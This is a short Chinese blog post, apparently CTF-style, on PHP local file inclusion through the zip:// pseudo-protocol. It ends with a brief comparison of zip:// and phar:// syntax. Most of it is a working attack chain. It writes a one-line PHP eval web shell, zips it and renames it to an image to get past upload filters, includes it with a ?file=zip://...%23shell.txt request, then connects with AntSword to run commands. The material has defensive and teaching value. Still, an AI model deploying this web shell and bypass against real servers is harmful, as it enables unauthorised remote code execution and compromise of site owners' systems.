文件包含zip伪协议
一、zip伪协议
原理:
当通过zip://伪协议解析这个压缩文件时,通过#对zip内部的压缩文件(如上面的shell.txt)进行索引,这时整个文件流被定位到shell.txt的文件流,所以include实际上包含的是shell.txt
(1)shell.txt写入<?php @eval($_POST['doll']);?>
(2)压缩为shell.zip
(3)改后缀为jpg/png等等绕过,上传文件,记得上传路径(./upload/2.jpg)
(4)用 zip://图片地址#压缩之前文件名称 (注意#要编码为%23)
因为include、require会把包含文件当作php来解析,所以压缩之前文件为txt也行
(5)访问
http://xxx/?file=zip://upload/2.jpg%23shell.txt
http://xxx/?file=zip://upload/2.jpg#shell.txt
(6)蚁剑连接或者hackbar:doll=phpinfo();直接搞
二、zip伪协议和phar伪协议的不同
【1】zip伪协议是用#来分隔压缩包路径和内部文件,并且#在url编码中通常需要编码为%23,且只能读取zip格式压缩包
【2】phar用/来分隔,不仅可以解析phar文件,还可以直接解析zip和tar文件,但PHP>=5.3.0压缩包需要是zip协议压缩
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627520

浙公网安备 33010602011771号